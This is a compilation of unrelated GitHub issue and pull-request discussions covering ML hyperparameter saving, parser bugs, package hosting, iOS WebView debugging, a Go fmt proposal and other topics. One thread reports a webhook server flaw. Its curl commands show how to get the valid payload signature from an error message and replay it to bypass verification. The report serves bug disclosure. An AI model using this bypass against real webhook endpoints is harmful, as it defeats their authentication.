This may be an easy question, but for me it's not obvious which problem users may want to solve by inheriting from LightningModule? For example, users may want to use composition of their LightningModules instead. Have you encountered some examples in which such inheritance would be a best approach?

that is hard and not tested in this POC but it would work as Python inheritance when you combine e.g. mixins with abstract methods it very depends on the order or parents... so ut to user :]

yeah, for true reproducibility there's a ton of stuff to do haha. But i think for now let's just make sure people know what parameters went into that model.

This may be an easy question, but for me it's not obvious which problem users may want to solve by inheriting from LightningModule? For example, users may want to use composition of their LightningModules instead. Have you encountered some examples in which such inheritance would be a best approach?

that is hard and not tested in this POC but it would work as Python inheritance when you combine e.g. mixins with abstract methods it very depends on the order or parents... so ut to user :]

yeah... we can only do so much lol... this is on the user

So, sounds like it comes down to this decision.
A. We only save+assign the init args from the leaf child
B. We assign all the args up to the parent.
Which do we want to start with?
A (❤) or B(👍)?

having this case
class MyModule(pl.LightningModule):
    def __init__(self, num_layers=3):
         super.__init__()
    def any_method():
         # using num_layers
         a = self.model_arguments.num_layers ...
class Child1(MyModule):
    def __init__(self, hidden_dim=128):
         super.__init__()

but in child it wount work because num_layers  is not in self.model_arguments.num_layers  but self.model_parent_arguments.num_layers
so for compatibility, we have to have an aggregated version (could be read-only) property self.aggreg_model_arguments.num_layers

@Borda we are not auto assigning anything now. and the model arguments is not meant to be used by the user...

@williamFalcon @yukw777 @festeh mind check now the conceptual think the test and rather further cleaning will follow but I would like to verify that this is the sate we have agreed on... :]

@williamFalcon @yukw777 @festeh @awaelchli mind check the final version?

we need to separate args for Trainer and model before passing them in.

separate it in our parser?
https://github.com/PyTorchLightning/pytorch-lightning/blob/a20db4e4a2cc49b701f1e1abcfbd014a730d4543/pytorch_lightning/trainer/trainer.py#L723
it could be done since we know the Trainer arguments and assume the all the rest belongs to the model...

@Borda yes we could parse them and return the known and unknown trainer args there. not sure if that's the best way. it would be one more thing the user has to remember.
@williamFalcon

why can't the model collect them in kwargs?
class LitModel(...):

    def __init__(self, arg1, *args, **kwargs):

hparams.add_argument('--gpus', ...)
LitModel(**hparams)

I'm not saying it can't :)
https://github.com/PyTorchLightning/pytorch-lightning/pull/1896#issuecomment-632864522

the test is not sufficient imo and needs to test more edge cases.

"self" argument gets renamed

done as checking __class__

positional args

That shall appear in inspect as dict item, right?
Mind add test case for it...

the parent and child share the same hparam, so test that child overwrites parent in module_arguments.

it shall be tested as adding custom batch_size in the test_collect_init_arguments

let me know if you need help with these :)

yes, feel free to add suggested changes

also a test for the LR finder was (accidentally?) removed and I think it should stay

fixed :]
@awaelchli ^^

@awaelchli @Borda @yukw777
are we ready to merge? would love to merge ASAP since this is blocking other PRs.
We can open another PR to handle more tests, but this PR touches so much code that we need to merge ASAP

ok, final checks, let's get this merged. we're blocking all the other PRs.

any idea why I cannot have this module's attribute self.my_loss = torch.nn.CrossEntropyLoss()
tests/models/test_hparams.py:29 (test_collect_init_arguments[AggSubClassEvalModel])
Traceback (most recent call last):
  File "/home/jb/Dropbox/Workspace/pt-lightning/tests/models/test_hparams.py", line 51, in test_collect_init_arguments
    trainer.fit(model)
  File "/home/jb/Dropbox/Workspace/pt-lightning/pytorch_lightning/trainer/trainer.py", line 902, in fit
    self.run_pretrain_routine(model)
  File "/home/jb/Dropbox/Workspace/pt-lightning/pytorch_lightning/trainer/trainer.py", line 978, in run_pretrain_routine
    ref_model.summarize(mode=self.weights_summary)
  File "/home/jb/Dropbox/Workspace/pt-lightning/pytorch_lightning/core/lightning.py", line 1589, in summarize
    model_summary = ModelSummary(self, mode=mode)
  File "/home/jb/Dropbox/Workspace/pt-lightning/pytorch_lightning/core/memory.py", line 29, in __init__
    self.summarize()
  File "/home/jb/Dropbox/Workspace/pt-lightning/pytorch_lightning/core/memory.py", line 160, in summarize
    self.get_variable_sizes()
  File "/home/jb/Dropbox/Workspace/pt-lightning/pytorch_lightning/core/memory.py", line 78, in get_variable_sizes
    out = m(input_)
  File "/home/jb/.local/lib/python3.6/site-packages/torch/nn/modules/module.py", line 541, in __call__
    result = self.forward(*input, **kwargs)
TypeError: forward() missing 2 required positional arguments: 'input2' and 'target'

@williamFalcon @awaelchli ^^

@Borda it’s with the summarizer. not sure what’s going on.

It is because the template has the example_input_array defined, but the summarizer passes the inputs to the submodules in the order of their definition, not the order in which the are executed.
This feature is (and always was) broken and I have a PR in the works here
https://github.com/PyTorchLightning/pytorch-lightning/pull/1773
To fix it temporarily here, I suggest to simply remove the example_input_array from the evaltemplate.

Great job @Borda, thanks for the feedback @yukw777 @awaelchli!
@PyTorchLightning/core-contributors play with this for a bit? also verify than hydra still works? @tullie

Thank you pushing through this @Borda ! Glad I was able to help out here.

Really cool idea this PR! It will simplify checkpointing a lot :)
I compiled a list to keep track of unresolved issues discussed in this thread here. Feel free to add anything I have missed.
See #1937

Received a warning when running the Trainer UserWarning: Did not find hyperparameters at model hparams. Saving checkpoint without hyperparameters. Does it relate to the legacy code for hparams?

Received a warning when running the Trainer UserWarning: Did not find hyperparameters at model hparams. Saving checkpoint without hyperparameters. Does it relate to the legacy code of hparams?

mind shoot an issue?

Received a warning when running the Trainer UserWarning: Did not find hyperparameters at model hparams. Saving checkpoint without hyperparameters. Does it relate to the legacy code of hparams?

mind shoot an issue?

Sure!

This is awesome, when can we expect this in the release?

Wait, does this solve the issue of using params in jupyter notebooks? In other words, can I omit argparse with this?

Hi, what's the recommended way to use this with argparse?
model = LitModel(**vars(args))?

@austinmw Yes


Show infowindow of top of spiderified marker (and hide the marker)

How can I get the position of a marker after its cluster has been collapsed?
For example, let's say tha there's a cluster with two markers. Clicking the cluster collapses and the two markers are shown as usual. I would like to be able to click on the marker and then show an infowindow.
How can I get the coordinates to show the infowindow on?
(Also, how can I hide the marker and re-show it when the infowindow closes?)
Thnx for the help

Hi, great to hear that you find Leaflet useful!
However, this issue tracker is used for reporting bugs and discussing new features. For questions on using Leaflet, please use gis.stackexchange.com or stackoverflow.


[Bug] kprove - module not recognised

K Version
$ kprove --version
K version:    5.0.0
Build date:   Tue Apr 13 17:11:09 EEST 2021

Description
Kprove cannot find module in file if previous module has // after endmodule.
Input Files
tmp.k
module TMP
  imports INT
endmodule

proof-perform-action-id-sc-call.k
module TRUSTED-PERFORM-ACTION-SC-CALL
  imports TMP

  claim 1 => 2
    [trusted]

endmodule//

module PROOF-PERFORM-ACTION-ID-SC-CALL
  imports TRUSTED-PERFORM-ACTION-SC-CALL
endmodule

Reproduction Steps
Proving the spec above fails with [Error] Critical: Module PROOF-PERFORM-ACTION-ID-SC-CALL does not exist.
$ kompile --backend haskell tmp.k && kprove --spec-module PROOF-PERFORM-ACTION-ID-SC-CALL proof-perform-action-id-sc-call.k

Expected Behavior
The proof should pass.

The outer parser/tokenization process seems to not be dropping this comment correctly. Maybe it has something to do with outer-parser code which is dealing with latex comments in the past. We can likely directly drop the latex parser capabilities and maybe this will be resolved.

There is an easy fix for this, but it's going to create side effects, so I tend to label this issue as a Won'tFix.
What happens is the outer parser looks for keywords to know when to stop parsing bubbles. These keywords must be surrounded by whitespace (syntax, rule, claim, context and endmodule - module and imports are not keywords). In this case, the claim continues to gobble input until the last endmodule.
There is a very simple workaround though, just ad an empty space between endmodule and // and it should parse just fine.
The side effect looks something like this:
rule "1" => "http://somepath"
This will no longer be possible since // is going to be interpreted as a comment.


testing github pages stuff

lets see what happens 🤷

I think v1.0 might need to be added in the branches array to trigger builds automatically


fix harvest threads

Dear team,
This PR resolves issues related to the harvesting of Oracle Threads and adds the ability to link Threads accounts. The following changes have been made:
Fixing Harvesting of Oracle Threads: We have addressed issues with the harvesting process of Oracle Threads. The harvesting functionality now works seamlessly, allowing users to efficiently collect and integrate external data sources and APIs within their campaigns.
Adding Link Threads Account: We have introduced the ability to link Threads accounts to our platform. Users can now easily connect their Threads accounts, facilitating seamless sharing and interaction with Threads communities.
Threads Username Account: We have included the Threads username as part of the account information. This ensures that users' Threads usernames are properly associated with their accounts on our platform, allowing for easy identification and interaction.
By implementing these changes, we enhance the usability and capabilities of our platform when working with Oracle Threads.
Reviewers, please verify that the harvesting of Oracle Threads has been successfully fixed, and users can link their Threads accounts without any issues. Ensure that the Threads username is correctly stored and associated with user accounts. Your feedback, suggestions, and alternative approaches to further optimize the Oracle Threads and account linking processes are highly appreciated.
Thank you for your time and dedication to delivering a robust and user-friendly platform.
Best regards,
Rania Morheg

I just wanted to let you know that the issue we were facing has been successfully resolved in this PR. You can check out the changes in the link below:
https://github.com/SaTT-Wallet/Frontend/pull/415

I just wanted to let you know that the issue we were facing has been successfully resolved in this PR. You can check out the changes in the link below:
#415

Thank you for your feedback and for trying, but it's not the same problem, this PR is a bug that still exists, thank you.


Cross Post from React Native - Bug with calling the block.

Hello I am looking at using Discovery for a personal app I have been working on and I am also investigating the use of React Native.
However something is breaking whilst using it with React Native. It discovers my other device multiple times but the block to do something with the username is only called once until I close the app and reopen it, once I reopen it the block is called multiple times. Once I shut down my other device, the block carries on being executed but no name is received.
Example of my implementation can be seen here https://github.com/facebook/react-native/issues/1218
I understand you might not want to take interest in this issue as it could be caused by React Native but whats interesting is the checkList method isn't called on first initialisation. I think something to do with the NSTimer is broken but can't figure out what.
Have you seen this behaviour whilst developing?

I have looked at the issue you referenced at React's page: https://github.com/facebook/react-native/issues/1218
I think its completely about React's timer issue, am I wrong? Have you been able to resolve the issue @mintuz ?


Support JSON input with a top-level array instead of an object

Implemented in https://github.com/kpfleming/jinjanator/commit/71801ac714a31dbcf25c39f136583ff8c5467c89.


Hosting production

The p3m maintainers said p3m mirrors and snapshots an existing CRAN-like repository, which means we need to figure out how to host the current snapshot ourselves.
@jeroen, would it be feasible to host a third production universe for this, maybe one with sources only and/or no checks?
If not, @shikokuchuo, would it be okay to consider Netlify as a temporary solution to get things going? I got the sense that Posit might be open to more than just a mirror when things really take off, but they need something else in the initial phase just to get started.

If as per the discussion, p3m only needs access to a CRAN-like repo for source files as they prefer to use their own build tools, then we can easily deploy using 'types=src' into a GitHub repo. I don't foresee any of the individual source files exceeding the 100MB limit.
I think this is the safest way to get started, unless @jeroen does actually want p3m to use the R-universe binaries, in which case a production universe seems to be the way forward.
Either way would be fine with me.
With a third party site, if they give us notice they're going to bill us or take us offline, I do not really have a good strategy for that eventuality. It has happened before to open source projects.

I think we can cross that bridge when we get there, but wouldn't it make sense for p3m to mirror from the multiverse staging repository, at the same moment we create the snapshot ourselves?
IIUC the purpose of staging is to organize a stable repository, ready to be archived or mirrored onto a production site at the given date? So the p3m snapshot of staging at a given date should be identical to our own production snapshots? Otherwise we effectively have 4 stages: Community -> staging -> production -> p3m archives of production repo?
We can host snapshots on a selfhosted http server if you don't want to use a public service like netlify or github-pages. I don't think it make sense to create a third universe only for hosting files, because this means we also restart all the checks and builds, and at that point it is no longer a snapshot but a new repository...

I think we can cross that bridge when we get there, but wouldn't it make sense for p3m to mirror from the multiverse staging repository, at the same moment we create the snapshot ourselves?

That's a really good idea as Staging is already set up as a CRAN-like repo!

We can host snapshots on a selfhosted http server if you don't want to use a public service like netlify or github-pages. I don't think it make sense to create a third universe only for hosting files, because this means we also restart all the checks and builds, and at that point it is no longer a snapshot but a new repository...

Agree, the snapshot just needs static hosting, not a whole universe-type repo. I am not against using GitHub pages as if that becomes unavailable then I think we all have bigger problems to deal with.
At the end of the day, I think we'd want to point production.r-multiverse.org to the p3m location which would integrate our snapshot with the p3m dependencies, so users downloading from that repo can be guaranteed to get snapshot versions of all packages. Do we need / want to host our own snapshots (as a CRAN-like server) at all in that case?

I've proceeded to test hosting a snapshot using Github Pages at https://github.com/r-multiverse/snapshot and it seems to work fine.
The workflow just modifies @jeroen's own https://github.com/jeroen/backup/blob/main/.github/workflows/mirror.yml to use the URL created by our staging workflow. I think GitHub recognises it as an internal address and the action finishes super fast.
Try:
available.packages(repos = "http://r-multiverse.org/snapshot/")

I can see this perhaps becoming an issue when we scale up and the size gets larger, but in that case I think we can limit hosting to just the source files and rely on p3m for instance to provide binaries.
I think we can use this to at least get started with our initial quarterly Production release.

This is all excellent!
When we scale up, will the source packages alone create a size issue in https://github.com/r-multiverse/snapshot? At some point after the official rollout of R-multiverse, we might ask the p3m folks if they could host snapshots without a mirror. They seemed open to it if/when R-multiverse is successful, just not right now at this early development stage.
Is the plan to remove binaries from https://github.com/r-multiverse/snapshot when the p3m integration is in place?

When we scale up, will the source packages alone create a size issue in https://github.com/r-multiverse/snapshot?

GitHub supposedly blocks individual files above 100MB. Should not be a problem for source files.

Is the plan to remove binaries from https://github.com/r-multiverse/snapshot when the p3m integration is in place?

Yes. The 'snapshot' repo was for testing really, we can have it deploy to production.r-multiverse.org when we cut our first release. Subsequently that may point to p3m.

FYI I've set up https://snapshot.r-multiverse.org/ to forward to https://r-multiverse.org/snapshot/, and I've tested that this subdomain now works with install.packages(). This is for the 'sample' repository.
We can do the same when we go live with Production to point https://production.r-multiverse.org/ to the right place.

The production GitHub repo has been prepared and is serving https://r-multiverse.org/production.
https://production.r-multiverse.org/ also points to https://r-multiverse.org/production.
So theoretically we just need to activate the workflow trigger and the Production snapshot will be deployed. It's good that we have 'snapshot' set up as well as we can use that as a test run.

That reminds me, as a side note, I think it is inappropriate to make the license to MIT license because the snapshot repository contains source code and binaries of various packages.
https://github.com/r-multiverse/snapshot

That reminds me, as a side note, I think it is inappropriate to make the license to MIT license because the snapshot repository contains source code and binaries of various packages. https://github.com/r-multiverse/snapshot

Yes that's a good point. I'll remove those now.

I'm going to close this as I think we are good for our first quarterly release. Ongoing discussions involving p3m etc. are going to be better served by new, more focused issues.

That reminds me, as a side note, I think it is inappropriate to make the license to MIT license because the snapshot repository contains source code and binaries of various packages.

I agree.
We still need to license individual code files for the infrastructure though, and for the packages, it would help to explicitly put ownership and responsibility on the original authors. I posted a PR at https://github.com/r-multiverse/snapshot/pull/2.

Also, what is the difference between between https://github.com/r-multiverse/snapshot and https://github.com/r-multiverse/production? Is the former for the p3m folks to use, while the latter is our current hosting mechanism before we integrate with p3m?

Snapshot is just a test as I didn’t want to put anything at the production url while it’s not officially released. But now we have it, we can use it as a test run. We can remove mention of it on the website once we’ve released production.

Community and staging will also need testing, c.f. https://github.com/r-multiverse/help/issues/74. At some point before we officially go live, I hope we can replicate the deployed R-multiverse infrastructure in a scaled-down dev space outside the main R-multiverse org.


Inspection of Web Content not working with iOS 16.4+

Bug description:

With iOS 16.4 comes a WebKit update which requires to enable the possibility to inspect the app for debugging WebView via Safari, by default it's false. So now debugging isn't working.
Please see details on the official WebKit resource
To Reproduce:

Run React Native iOS app with WebView and any web page
Open Safari -> in Menu bar select Develop -> Your device (Simulator - iPhone 14 Pro... - iOS 16.4)
See "No Inspectable Applications"

Expected behavior:

The web page should be available for inspection
Screenshots/Videos:

Environment:

OS: iOS
OS version: 16.4
react-native version: 0.70.7 or higher
react-native-webview version: 11.26.0 or higher

Will probably regroup with this: https://github.com/react-native-webview/react-native-webview/pull/2896

I am also experiencing this problem

same for me

same 😕

Any updates to this?

I'm currently using an older version of react-native-webview and a temporary workaround that I've been using for local development is to edit a swift file in my node_modules that sets the inspectable property right after _webView is allocated.
For example,
https://github.com/react-native-webview/react-native-webview/blob/681aac4fe7e35834264daa01b67a9893c4a9ebe7/apple/RNCWebViewImpl.m#L416
_webView = [[WKWebView alloc] initWithFrame:self.bounds configuration: wkWebViewConfig];
_webView.inspectable = YES;

I also experienced this problem. I solved it by adding the code below (iOS 14 Version, Swift 5.x Version, WKWebView)
if #available(iOS 16.4, *) {    webView.isInspectable = true }

https://webkit.org/blog/13936/enabling-the-inspection-of-web-content-in-apps/

Would be nice to get this to work.

Same problem :(

https://github.com/react-native-webview/react-native-webview/pull/2937#issuecomment-1585635913

it works now, thank you so much!


datadog dashboard widgets get rearranged

terrafomer'ing datadog dashboards is impeded by the fact that datadog groups (of widgets) are rearranged via terraformer meaning if you use terraformer datadog dashboard output to create new dashboards in the case of say a large dashboard when you recreate it the widgets will be in a different order than whatever you clickops'd so if you had planned to use such terraform to create say 10 or 20 new dashboards you're going to spend a ton of toil time rearranging the dashboard groups back to how you want them after terraform creates them :-(

I noticed the same and was able to find a workaround by downgrading to 0.8.21.

Was this issue ever resolved?

I guess this was never resolved? Dont really want to downgrade to a version over year old at this point?


[Run Subscription Payments with Stripe]

Now, we're using "Run Subscription Payments with Stripe" extension for connecting payment by Stripe to Firestore.
https://firebase.google.com/products/extensions/firestore-stripe-subscriptions
We're also using Stripe checkout API.
https://stripe.com/docs/api/checkout/sessions
First we created Stripe session,
then "checkout_sessions" Firestore document is generated.
Then we purchased some Stripe subscription,
then "subscriptions" Firestore document about that is generated.
Our problem is we cannot detect how to relate above "checkout_session" and "subscription".
Are there any solution to relate session and subscription?

Hi @chihiroyn
This extension is managed by Stripe.
Can you please add any  issues here https://github.com/stripe/stripe-firebase-extensions and the Stripe team will be able to respond directly.


HandlerImportError shouldn't be raised on hook imports

Introduce an exception for hooks or a more generic one.

Fixed somewhere in between.


Update Task.getProject deprecation message to postpone target release

Issue type
Polishing
Problem description
This is a follow-up to https://github.com/gradle/gradle/issues/30860, after we got some concerns with the message stating removal for 9.0, which was a mistake to begin with.
We should make the message convey this is related to the move towards CC.
Context (optional)
No response

Fixed in 8.12 RC2


Not able to install the latest version

While installing the plugin, getting the following error
  ` ionic cordova plugin add call-number
     > cordova plugin add call-number --save
     ✖ Running command - failed!
     [ERROR] An error occurred while running cordova plugin add call-number --save (exit code
     Error: Failed to fetch plugin git+https://github.com/Rohfosho/CordovaCallNumberPlugin.git via registry.
    Probably this is either a connection problem, or plugin spec is incorrect.
    Check your connection and plugin name/version/URL.
    Failed to get absolute path to installed module`

Even the same error while i use the github path too.

DONT USE CORDOVA PLUGIN ADD
USE THIS FIXED IT FOR ME
npm install call-number


Readme enhancement

Hi, I've just stumbled upon this project, very cool!
But one thing is a bit misleading, since the official Spotify client uses CEF not electron.

Fast Spotify client with native GUI, without Electron, built in ...

Sure, you're not relating to the official client instead just want to distance yourself from electron there, but it would actually be nice to at least list CEF too :)
Cheers

It's a remark about a majority of recent multi-platform GUI apps being Electron-based, not necessarily about the official app itself. Thanks for the suggestion, I think we can leave it as is for now.


ActiveRecord should respect database column types limits (it should validate lengths)

Fill in more then 150 symbols to the field  > Click "Save" button

We need to use gem validate-limits and remove existing validations for lengths. Also we need to check if all features work as expected.


Remove unneeded Teuchos header

Codecov Report

Merging #550 into master will decrease coverage by <.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #550      +/-   ##
==========================================
- Coverage   95.89%   95.89%   -0.01%
==========================================
  Files         134      134
  Lines        9594     9593       -1
==========================================
- Hits         9200     9199       -1
  Misses        394      394

Impacted Files
Coverage Δ

...istributed_tree_driver/distributed_tree_driver.cpp
81.13% <ø> (ø)
:arrow_up:

...es/Search/src/details/DTK_DetailsTreeTraversal.hpp
97.19% <0%> (-0.03%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bbfa196...20db3a5. Read the comment docs.

@aprokop Please look over the changes I added and merge if you are happy with them.

Looks good, but there is nothing in this PR to show why you are able to remove boost checks in code and cmake.

Example and tests require Boost.  We agreed we would not run them from DTK so I won't bother add the conditional addition of the example in CMake.

After the discussion we decided that we shouldn't worry about careful handling of Boost right now, as that was already broken once we added boost::program_options to the drivers (which made Boost a required dependency). Search is going to be moved out soon, so the window for "dtk without boost is broken" is going to be short.

retest this please


proposal: fmt/v2: %x in format strings should print integer types as their numeric value in hexadecimal

What version of Go are you using (go version)?

$ go version
go version go1.16.5 linux/amd64

Does this issue reproduce with the latest release?
Yes
What did you do?
Passed an integer value in a user-defined type to Sprintf("%x", ...)
What did you expect to see?
The hex value of the integer.
What did you see instead?
A hex byte string representing the concatenated bytes of the string value of the integer.
Would you consider yourself a novice, intermediate, or experienced Go programmer?
Experienced.
What other languages do you have experience with?
Java, JavaScript, Kotlin, C++, C, Objective-C, Ruby, Perl, ...
Would this change make Go easier or harder to learn, and why?
Easier, less unexpected behavior to learn to look out for.
Has this idea, or one like it, been proposed before?
No, but a similar issue was reported in #46076.
Who does this proposal help, and why?
Helps everyone, by having less unexpected behavior.
What is the proposed change?
The %x formatting directive should format all values which are integers by taking their numeric value and converting it to hex.
Is this change backward compatible?
No.
Show example code before and after the change.
Before:
type SomeType int
// define String() function for SomeType, elided

var n SomeType = 10
return fmt.Sprintf("%x", int(n))

After:
type SomeType int
// define String() function for SomeType, elided

var n SomeType = 10
return fmt.Sprintf("%x", n)

What is the cost of this proposal? (Every language change has a cost).
People who expected the old behavior of calling n.String() and then outputting that as the hex encoding of a byte sequence will have to update their code to:
type SomeType int
// define String() function for SomeType, elided

var n SomeType = 10
return fmt.Sprintf("%x", n.String())

How many tools (such as vet, gopls, gofmt, goimports, etc.) would be affected?
I'm guessing none.
What is the compile time cost?
None.
What is the run time cost?
None.
Can you describe a possible implementation?
I imagine I could provide a patch if I thought it would help.
How would the language spec change?
No change, the Go Programming Language Specification does not appear to specify the behavior of format strings in the standard library.
Orthogonality: how does this change interact or overlap with existing features?
It changes the behavior of ...[Pp]rintf functions in the standard library.
Is the goal of this change a performance improvement?
No.
If so, what quantifiable improvement should we expect?
A reduced number of hours spent by developers tracking down obscure bugs.
Does this affect error handling?
No, other than perhaps changing how error messages of existing code are formatted.

CC @robpike

This is documented behavior and is consistently applied: %x applied to a string gives the bytes. I don't see a clean way to keep the rule consistent without special casing integers and probably other types of various kinds, or perhaps the String method or some other nuance.
So stet.

It's not a string, though. It's an int that's being silently coerced to a string. If all int values were turned into strings in default format first before %x acted on them, there wouldn't be a surprise in this case.
Perhaps another way to put it is that it's unexpected that %x opportunistically coerces things to strings before acting on them, given that it's used for numeric output, and that it doesn't work that way in other languages (e.g. Ruby).
Maybe an acceptable approach would be to have two different % format specifiers? One for outputting strings of bytes in hex, and one for outputting numeric values in hex. Then the behavior could be consistent and unambiguous for all types.

Invoking String methods first is consistently applied if the verb (not just %x but also %q, %v, %X for int) is supported for strings. So making one verb special would lead to surprises for the verbs if those are not changed too in addition to breaking existing code that was written with documented behaviour.
Im not sure a new verb or modifier gains us much as once there is confusion due to having used %x thinking it has the non go semantics the documentation of the fmt package would be checked. Instead of then hinting at a new verb or modifier to be used which doesnt call the Stringer method the programmer might bas well be hinted to use fmt.Sprintf("%x", int(n)). Which also makes more explicit that n is to be treated as int with not special methods.

Presumably for %x we would have to say something like "if the argument is an integer type, do not call the String method".  That would add another special case to fmt, which is already fairly complicated.
Alternatively, we could change the way that %x handles string values in general.  But that would also be an odd exception, because what should it print instead?
We can't make this change in v1, of course, and it is unlikely that fmt/v2 will ever exist.  If it does, we can return to this.
Based on that and the discussion above, this is a likely decline.  Leaving open for four weeks for final comments.

No further comments.


feat(network): peer store to keep peers list when node goes off

Description
The Peer store will save all connected peers when the node goes off. when a node tries to start again the CheckConnectivity function will loop over peers beside bootstrap nodes. Thus, the chance of getting synced and stable in network connection increases.
Related issue(s)

Fixes #866

@kehiy I noticed LibP2P has a PeerStore. Look here
Maybe we can have a persistent version of PeerStore

@themantre about the libp2p peer store we discussed before. that's depreacated and not suggested to use and we decided to don't use it.


Make w1c conflict resolution predictable

By design, the write-once code path has deterministic but unpredictable sibling resolution. The objects are hashed and compared.
This was intended to discourage write-once updates.
Instead, choose the "last" write as determined by comparing timestamps on the version vectors. This can still fail to produce the desired results if the clocks on servers are out of sync, but will usually give the right answer.

Genuinely sad to see that the designs I presented at the meet-up (and the explanation of how "just using the timestamp" approach is incorrect) have been ignored in favour of this. Why aren't we doing it properly when there are simple, correct existing designs?

It does not need out of sync clocks for dataloss to occur

Several discussions out of band have occurred on this, but I'm definitely not willing to merge this until we discuss whether this can go into KV, and if not, how we'd manage that conflict.

I just ripped this off in a hurry. I'm sorry, I had forgotten you had a better option.
I'll be happy to take a better approach.
Sent from my iPhone

On Oct 24, 2016, at 3:13 AM, Russell Brown<EMAIL_ADDRESS>wrote:
Genuinely sad to see that the designs I presented at the meet-up (and the explanation of how "just using the timestamp" approach is incorrect) have been ignored in favour of this. Why aren't we doing it properly when there are simple, correct existing designs?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

This is ready for review.

@russelldb Are you willing to live with @macintux's solution for the time being?  How to you propose we proceed?

+1 6dc807e

Pushed a new merge

+1 b34ab0f

@borshop merge

@javajolt for those of us following along, did you ever get to follow up with @russelldb after your last comment? I'm just curious whether there was some discussion that happened out-of-band, or if we just went ahead and merged.

I’m the out of band. I talked with Russell, got a go-ahead, conveyed that to Brett.

On Nov 15, 2016, at 11:59 AM, Nick Marino<EMAIL_ADDRESS>wrote:
@javajolt https://github.com/javajolt for those of us following along, did you ever get to follow up with @russelldb https://github.com/russelldb after your last comment? I'm just curious whether there was some discussion that happened out-of-band, or if we just went ahead and merged.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/basho/riak_kv/pull/1512#issuecomment-260700036, or mute the thread https://github.com/notifications/unsubscribe-auth/ACCsXllQOaAUShztbTa1voZCmJ2QLuo_ks5q-eTwgaJpZM4KdnO3.

:thumbsup: cool, just wanted to make sure we didn't lose anything in the shuffle :)


i just can't download maps from the pack downloader

i have the leatest ver of it and i have this bug

Try downloading the pack at a different point in the day, as you might be getting blocked by a Google Drive download quota:
https://forums.etternaonline.com/t/pack-download-problem/907
If this isn't relevant, then we'll need any error messages that pop up to help you.


InvalidCastException in XamlControlsGallery Desktop app

Describe the bug
Clicking the save file button under RichEditBox page causes XamlControlsGallery.Desktop  app to crash.
Reproduce

Clone XamlControlsGallery
Checkout the winui3preview branch
Build and run the app
Navigate to Text > RichEditBox > 'A custom editor with RichEditBox'
Click the Save button

Call stack

Output window

Additional context
One of the last things that gets called in ObjectReference is IFileSavePicker.

Looks like this has turned into a NullReferenceException -- getting thrown on
savePicker.FileTypeChoices.Add("Rich Text", new List<string>() { ".rtf" });
New stack:
WinRT.Runtime.dll!ABI.System.Collections.Generic.IDictionary<string, System.Collections.Generic.IList>.FromAbiHelper.Insert(Windows.Foundation.Collections.IMap<string, System.Collections.Generic.IList> _this, string key, System.Collections.Generic.IList value) Line 232	C#
WinRT.Runtime.dll!ABI.System.Collections.Generic.IDictionary<string, System.Collections.Generic.IList>.FromAbiHelper.Add(string key, System.Collections.Generic.IList value) Line 164	C#
WinRT.Runtime.dll!ABI.System.Collections.Generic.IDictionary<string, System.Collections.Generic.IList>.System.Collections.Generic.IDictionary<string, System.Collections.Generic.IList>.Add(string key, System.Collections.Generic.IList value) Line 823	C#
Microsoft.Windows.SDK.NET.dll!Windows.Storage.Pickers.FilePickerFileTypesOrderedMap.Add(string key, System.Collections.Generic.IList value) Line 341	C#

XamlControlsGallery.Desktop.dll!AppUIBasics.ControlPages.RichEditBoxPage.SaveButton_Click(object sender, Microsoft.UI.Xaml.RoutedEventArgs e) Line 76	C#

transferred: https://github.com/microsoft/Xaml-Controls-Gallery/issues/572


FR: source indicator to differentiate custom snippets and LSP snippets

Right now, blink.cmp only differentiates item types via icon, but not icon sources. For instance, the lua lsp offers a snippet for for .. each, and I have a coule of for .. each snippet of my own. Using blink.cmp, both have the item kind "snippet", making it hard to distinguish which are which

top is blink.cmp, bottom is nvim-cmp.

Figured it out, you can already achieve that with a custom function for window.autocomplete.draw, that checks for the source:
draw = function(ctx)
	local isUserSnippet = ctx.item.source == "blink.cmp.sources.snippets"
	return {
		{
			ctx.item.label .. " ",
			fill = true,
			hl_group = ctx.deprecated and "BlinkCmpLabelDeprecated" or "BlinkCmpLabel",
		},
		{ isUserSnippet and "*" or "" },
		{ ctx.kind_icon .. " ", hl_group = "BlinkCmpKind" .. ctx.kind },
	}
end,


Analyze Typeform Survey results

This is similar to #30

[ ] Create an ordered list of card data significance
[x] Write down conclusions we made from the data (in same format as in #30)
[ ] Compare results to #30 and describe conclusions of this comparison
[ ] Unsubscribe from Typeform payed plan

What do you mean by that "Create an ordered list of card data significance"?

surveyReportTypeform.md
Uploaded using ZenHub.io

@Me4ta I meant that we have a data what we show on Event Card, in order to understand what data is most useful for planning the season we need to understand the significance, e.g. what is most important for a racer (we ask this in that long question we discussed with you). So it's just ordered list of things that are important.

Criteria you use to decide on your events:

number
points
criteria

1
784
Type (RR, Crit, TT, etc) and amount of climbing

2
726
If I liked it in the past

3
655
How far it away

4
496
Popularity/ Prestige/ Reputation of the event

5
494
Number of teammates doing it

6
446
What time does it start

7
409
Number of people registered

Conclusions from both surveys

added task

Wiki Survey results by category

great, thanks

It's hard to understand this table http://wiki.rcn.io/survey/ncnca-survey-results-by-category.html#criteria-you-use-to-decide-on-your-events compared to other ones, it's not clear what number in each column represents

I'll think how to change it


[security] server responds with correct payload signature in error

If you configure:
"trigger-rule": {
      "match": {
        "type": "payload-hash-sha1",
        "secret": "<secret>",
        "parameter": {
          "source": "header",
          "name": "X-Hub-Signature"
        }
      }
    }

And you make a curl request to the server, that contains an invalid X-Hub-Signature (the header must be present, but invalid)
curl -H 'X-Hub-Signature: dummy' http://webhook-app1.foo/echo-webhook

Then the server will respond:
error evaluating hook: invalid payload signature <signature>

Then repeating the curl with the returned signature will succeed:
curl -H 'X-Hub-Signature: <signature>' http://webhook-app1.foo/echo-webhook

Although useful for debugging, it also defeats the signature verification based security.

I knew I saw this earlier, #83

@adnanh, you're probably right that this was fixed earlier.  I may have jumped the gun, but I still think we shouldn't disclose the expected MAC.
@mullender, what version of webhook were you using?

@moorereason I was running version 2.3.7


Fix markup for markdown table

Our tooling used to convert Markdown to HTML doesn't properly handle '|' symbols embeded in code blocks inside a table. Changed the table to a plain HTML table as a workaround.
Also fixed indentation levels of two code examples.
This was reported by @hairyhenderson in https://github.com/docker/docker/pull/17883#discussion_r45822512 (thanks!)

